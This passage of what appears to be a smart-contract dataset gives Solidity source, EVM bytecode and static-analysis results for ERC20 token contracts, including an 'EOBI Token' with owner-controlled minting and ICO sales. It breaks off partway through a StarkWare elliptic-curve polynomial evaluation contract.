balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600c81526020017f52584262697420546f6b656e000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a633b9aca000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f525842420000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a72305820ddb996462e60a40c2ff4dd39657aaa4ed9a430ffdcf21ab6814083be58e6d3940029
|
{"success": true, "error": null, "results": {}}
| 5,790 |
0x56b86b434ab199316ff6c549d2a76b010a793557
|
pragma solidity ^0.4.21;
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function changeOwner(address _newOwner) public onlyOwner{
owner = _newOwner;
}
}
// Safe maths, borrowed from OpenZeppelin
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract ERC20Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant public returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract standardToken is ERC20Token {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
/* Transfers tokens from your address to other */
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
require (balances[msg.sender] >= _value); // Throw if sender has insufficient balance
require (balances[_to] + _value >= balances[_to]); // Throw if owerflow detected
balances[msg.sender] -= _value; // Deduct senders balance
balances[_to] += _value; // Add recivers blaance
emit Transfer(msg.sender, _to, _value); // Raise Transfer event
return true;
}
/* Approve other address to spend tokens on your account */
function approve(address _spender, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
allowances[msg.sender][_spender] = _value; // Set allowance
emit Approval(msg.sender, _spender, _value); // Raise Approval event
return true;
}
/* Approve and then communicate the approved contract in a single tx */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender); // Cast spender to tokenRecipient contract
approve(_spender, _value); // Set approval to contract for _value
spender.receiveApproval(msg.sender, _value, this, _extraData); // Raise method on _spender contract
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (balances[_from] >= _value); // Throw if sender does not have enough balance
require (balances[_to] + _value >= balances[_to]); // Throw if overflow detected
require (_value <= allowances[_from][msg.sender]); // Throw if you do not have allowance
balances[_from] -= _value; // Deduct senders balance
balances[_to] += _value; // Add recipient blaance
allowances[_from][msg.sender] -= _value; // Deduct allowance for this address
emit Transfer(_from, _to, _value); // Raise Transfer event
return true;
}
/* Get the amount of allowed tokens to spend */
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowances[_owner][_spender];
}
}
contract EOBIToken is standardToken,Owned {
using SafeMath for uint;
string public name="EOBI Token";
string public symbol="EOBI";
uint256 public decimals=18;
uint256 public totalSupply = 0;
uint256 public topTotalSupply = 35*10**8*10**decimals;
uint256 public privateTotalSupply = percent(10);
uint256 public privateSupply = 0;
address public walletAddress;
uint256 public exchangeRate = 10**5;
bool public ICOStart;
/// @dev Fallback to calling deposit when ether is sent directly to contract.
function() public payable {
if(ICOStart){
depositToken(msg.value);
}
}
/// @dev initial function
function EOBIToken() public {
owner=msg.sender;
ICOStart = true;
}
/// @dev calcute the tokens
function percent(uint256 _percentage) internal view returns (uint256) {
return _percentage.mul(topTotalSupply).div(100);
}
/// @dev Buys tokens with Ether.
function depositToken(uint256 _value) internal {
uint256 tokenAlloc = buyPriceAt() * _value;
require(tokenAlloc != 0);
privateSupply = privateSupply.add(tokenAlloc);
require (privateSupply <= privateTotalSupply);
mintTokens(msg.sender, tokenAlloc);
}
/// @dev Issue new tokens
function mintTokens(address _to, uint256 _amount) internal {
require (balances[_to] + _amount >= balances[_to]); // Check for overflows
balances[_to] = balances[_to].add(_amount); // Set minted coins to target
totalSupply = totalSupply.add(_amount);
require(totalSupply <= topTotalSupply);
emit Transfer(0x0, _to, _amount); // Create Transfer event from 0x
}
/// @dev Calculate exchange
function buyPriceAt() internal constant returns(uint256) {
return exchangeRate;
}
/// @dev change exchange rate
function changeExchangeRate(uint256 _rate) public onlyOwner {
exchangeRate = _rate;
}
/// @dev set initial message
function setVaribles(string _name, string _symbol, uint256 _decimals) public onlyOwner {
name = _name;
symbol = _symbol;
decimals = _decimals;
topTotalSupply = 35*10**8*10**decimals;
require(totalSupply <= topTotalSupply);
privateTotalSupply = percent(10);
require(privateSupply <= privateTotalSupply);
}
/// @dev change ICO State
function ICOState(bool _start) public onlyOwner {
ICOStart = _start;
}
/// @dev withDraw Ether to a Safe Wallet
function withDraw(address _etherAddress) public payable onlyOwner {
require (_etherAddress != address(0));
address contractAddress = this;
_etherAddress.transfer(contractAddress.balance);
}
/// @dev allocate Token
function allocateTokens(address[] _owners, uint256[] _values) public onlyOwner {
require (_owners.length == _values.length);
for(uint256 i = 0; i < _owners.length ; i++){
address owner = _owners[i];
uint256 value = _values[i];
mintTokens(owner, value);
}
}
}
|
0x6060604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610148578063095ea7b3146101d25780630a67d2c71461020857806318160ddd1461021c578063215fce931461024157806323b872dd1461025757806327fb1da71461027f578063313ce567146102975780633ba0b9a9146102aa57806344c55801146102bd57806356bd182d146103525780636ad5b3ea1461036557806370a082311461039457806385c09f26146103b35780638da5cb5b146103c657806395d89b41146103d9578063996d21aa146103ec578063a6f9dae1146103ff578063a7368afb1461041e578063a9059cbb146104ad578063cae9ca51146104cf578063d01ab31a14610534578063dd62ed3e14610547575b600d5460ff1615610146576101463461056c565b005b341561015357600080fd5b61015b6105bb565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019757808201518382015260200161017f565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b6101f4600160a060020a0360043516602435610659565b604051901515815260200160405180910390f35b610146600160a060020a03600435166106e8565b341561022757600080fd5b61022f610753565b60405190815260200160405180910390f35b341561024c57600080fd5b610146600435610759565b341561026257600080fd5b6101f4600160a060020a0360043581169060243516604435610779565b341561028a57600080fd5b6101466004351515610887565b34156102a257600080fd5b61022f6108b5565b34156102b557600080fd5b61022f6108bb565b34156102c857600080fd5b61014660046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965050933593506108c192505050565b341561035d57600080fd5b61022f610949565b341561037057600080fd5b61037861094f565b604051600160a060020a03909116815260200160405180910390f35b341561039f57600080fd5b61022f600160a060020a036004351661095e565b34156103be57600080fd5b61022f610979565b34156103d157600080fd5b61037861097f565b34156103e457600080fd5b61015b61098e565b34156103f757600080fd5b61022f6109f9565b341561040a57600080fd5b610146600160a060020a03600435166109ff565b341561042957600080fd5b610146600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610a4995505050505050565b34156104b857600080fd5b6101f4600160a060020a0360043516602435610ad3565b34156104da57600080fd5b6101f460048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610b8e95505050505050565b341561053f57600080fd5b6101f4610cb6565b341561055257600080fd5b61022f600160a060020a0360043581169060243516610cbf565b600081610577610cea565b02905080151561058657600080fd5b600a54610599908263ffffffff610cf116565b600a8190556009549011156105ad57600080fd5b6105b73382610d07565b5050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106515780601f1061062657610100808354040283529160200191610651565b820191906000526020600020905b81548152906001019060200180831161063457829003601f168201915b505050505081565b600160a060020a0333166000908152600160205260408120548290101561067f57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035460009033600160a060020a0390811691161461070657600080fd5b600160a060020a038216151561071b57600080fd5b5030600160a060020a038083169082163180156108fc0290604051600060405180830381858888f1935050505015156105b757600080fd5b60075481565b60035433600160a060020a0390811691161461077457600080fd5b600c55565b600160a060020a0383166000908152600160205260408120548290101561079f57600080fd5b600160a060020a03831660009081526001602052604090205482810110156107c657600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156107f957600080fd5b600160a060020a03808516600081815260016020908152604080832080548890039055878516808452818420805489019055848452600283528184203390961684529490915290819020805486900390557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60035433600160a060020a039081169116146108a257600080fd5b600d805460ff1916911515919091179055565b60065481565b600c5481565b60035433600160a060020a039081169116146108dc57600080fd5b60048380516108ef929160200190610e43565b506005828051610903929160200190610e43565b50600681905563d09dc300600a82900a026008819055600754111561092757600080fd5b610931600a610dda565b6009819055600a54111561094457600080fd5b505050565b600a5481565b600b54600160a060020a031681565b600160a060020a031660009081526001602052604090205490565b60085481565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106515780601f1061062657610100808354040283529160200191610651565b60095481565b60035433600160a060020a03908116911614610a1a57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6003546000908190819033600160a060020a03908116911614610a6b57600080fd5b8351855114610a7957600080fd5b600092505b8451831015610acc57848381518110610a9357fe5b906020019060200201519150838381518110610aab57fe5b906020019060200201519050610ac18282610d07565b600190920191610a7e565b5050505050565b600160a060020a03331660009081526001602052604081205482901015610af957600080fd5b600160a060020a0383166000908152600160205260409020548281011015610b2057600080fd5b600160a060020a033381166000818152600160205260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600083610b9b8185610659565b5080600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c4d578082015183820152602001610c35565b50505050905090810190601f168015610c7a5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610c9b57600080fd5b5af11515610ca857600080fd5b506001979650505050505050565b600d5460ff1681565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600c545b90565b600082820183811015610d0057fe5b9392505050565b600160a060020a0382166000908152600160205260409020548181011015610d2e57600080fd5b600160a060020a038216600090815260016020526040902054610d57908263ffffffff610cf116565b600160a060020a038316600090815260016020526040902055600754610d83908263ffffffff610cf116565b6007819055600854901115610d9757600080fd5b81600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050565b6000610e026064610df660085485610e0890919063ffffffff16565b9063ffffffff610e2c16565b92915050565b6000828202831580610e245750828482811515610e2157fe5b04145b1515610d0057fe5b6000808284811515610e3a57fe5b04949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610e8457805160ff1916838001178555610eb1565b82800160010185558215610eb1579182015b82811115610eb1578251825591602001919060010190610e96565b50610ebd929150610ec1565b5090565b610cee91905b80821115610ebd5760008155600101610ec75600a165627a7a723058202ff4b3475478abc8b71d0c3078e4344b9209cc5e61cdf935f89e8e07d9da6bfe0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 5,791 |
0xc5ca4Cd798d2AEb964126EEE71ec572dDf2ABD8A
|
/*
Copyright 2019,2020 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
pragma solidity ^0.5.2;
contract EcdsaPointsYColumn {
function compute(uint256 x) external pure returns(uint256 result) {
uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001;
assembly {
// Use Horner's method to compute f(x).
// The idea is that
// a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n =
// (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0.
// Consequently we need to do deg(f) horner iterations that consist of:
// 1. Multiply the last result by x
// 2. Add the next coefficient (starting from the highest coefficient)
//
// We slightly diverge from the algorithm above by updating the result only once
// every 7 horner iterations.
// We do this because variable assignment in solidity's functional-style assembly results in
// a swap followed by a pop.
// 7 is the highest batch we can do due to the 16 slots limit in evm.
result :=
add(0xf524ffcb160c3dfcc72d40b12754e2dc26433a37b8207934f489a203628137, mulmod(
add(0x23b940cd5c4f2e13c6df782f88cce6294315a1b406fda6137ed4a330bd80e37, mulmod(
add(0x62e62fafc55013ee6450e33e81f6ba8524e37558ea7df7c06785f3784a3d9a8, mulmod(
add(0x347dfb13aea22cacbef33972ad3017a5a9bab04c296295d5d372bad5e076a80, mulmod(
add(0x6c930134c99ac7200d41939eb29fb4f4e380b3f2a11437dd01d12fd9ebe8909, mulmod(
add(0x49d16d6e3720b63f7d1e74ed7fd8ea759132735c094c112c0e9dd8cc4653820, mulmod(
add(0x23a2994e807cd40717d68f37e1d765f4354a81b12374c82f481f09f9faff31a, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4eac8ffa98cdea2259f5c8ad87a797b29c9dccc28996aed0b545c075c17ebe1, mulmod(
add(0x1058ff85f121d7902521abfa5f3f5c953fee83e0f58e069545f2fc0f4eda1ba, mulmod(
add(0x76b4883fd523dff46e4e330a3dd140c3eded71524a67a56a75bd51d01d6b6ca, mulmod(
add(0x5057b804cff6566354ca744df3686abec58eda846cafdc361a7757f58bd336e, mulmod(
add(0x37d720cf4c846de254d76df8b6f92e93b839ee34bf528d059c3112d87080a38, mulmod(
add(0xa401d8071183f0c7b4801d57de9ba6cda7bd67d7941b4507eab5a851a51b09, mulmod(
add(0x603e3a8698c5c3a0b0b40a79ba0fdff25e5971f0ef0d3242ead1d1a413e443b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4b74b468c4ef808ddcc6e582393940111941abece8a285da201171dc50525c7, mulmod(
add(0x761717d47600662a250116e2403b5115f4071de6e26e8dc231840eeb4484ec3, mulmod(
add(0x5a593d928542a100c16f3dc5344734c9ef474609bd7099257675cef0392fab8, mulmod(
add(0x7d2292c8660492e8a1ce3db5c80b743d60cdaac7f438b6feab02f8e2aade260, mulmod(
add(0x480d06bb4222e222e39ab600b8aadf591db4c70bae30fe756b61564eec6c7e, mulmod(
add(0x59fef071cf1eeff5303f28f4fe10b16471a2230766915d70b525d62871f6bc6, mulmod(
add(0x6e7240c4a94fa3e10de72070fd2bf611af5429b7e83d53cfe1a758dee7d2a79, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x247573f2f3fbd5386eac2d26851f9512cd57ad19773b8ca119d20852b9b6538, mulmod(
add(0x739edb8cdd16692deaba7fb1bb03f55dd417891bacb39c7927969551f29cb37, mulmod(
add(0x6e0bed1b41ee1cf8667c2924ebd460772a0cd97d68eaea63c6fa77bf73f9a9e, mulmod(
add(0x3ede75d46d49ceb580d53f8f0553a2e370138eb76ac5e734b39a55b958c847d, mulmod(
add(0x59bd7fe1c9553495b493f875799d79fc86d0c26e794cce09c659c397c5c4778, mulmod(
add(0x47b2a5ef58d331c30cfcd098ee011aaeae87781fd8ce2d7427c6b859229c523, mulmod(
add(0x14ef999212f88ca277747cc57dca607a1e7049232becedf47e98aca47c1d3fe, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x38db61aa2a2b03053f5c51b155bc757b0634ce89baace113391369682fc1f74, mulmod(
add(0x43545892bb5a364c0b9acd28e36371bede7fd05e59a9dcd875c44ff68275b2b, mulmod(
add(0x5599e790bd325b322395d63d96cd0bd1494d4648e3d1991d54c23d24a714342, mulmod(
add(0x675532b80f5aaa605219de7fe8650e24fee1c3b0d36cdf4fb605f6215afacee, mulmod(
add(0x278a7c68986adbe634d44c882a1242147e276fee7962d4c69ca4c8747b3e497, mulmod(
add(0x75a0f99a4dec1988f19db3f8b29eeef87836eb0c3d8493913b7502cfedcef28, mulmod(
add(0x2f6efb89f27d2c0a86ec1e6f231b225caf2af9be01aca173a15fa02b11fdf24, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x10f236430f20aafda49d1c3e3759c510fdf0c0c19f89df6d5d71deac88b547b, mulmod(
add(0x7b16c33c4a8ffcecbd83f382469e1d00a340ceab5e7d9c0bd4fd010b83f4310, mulmod(
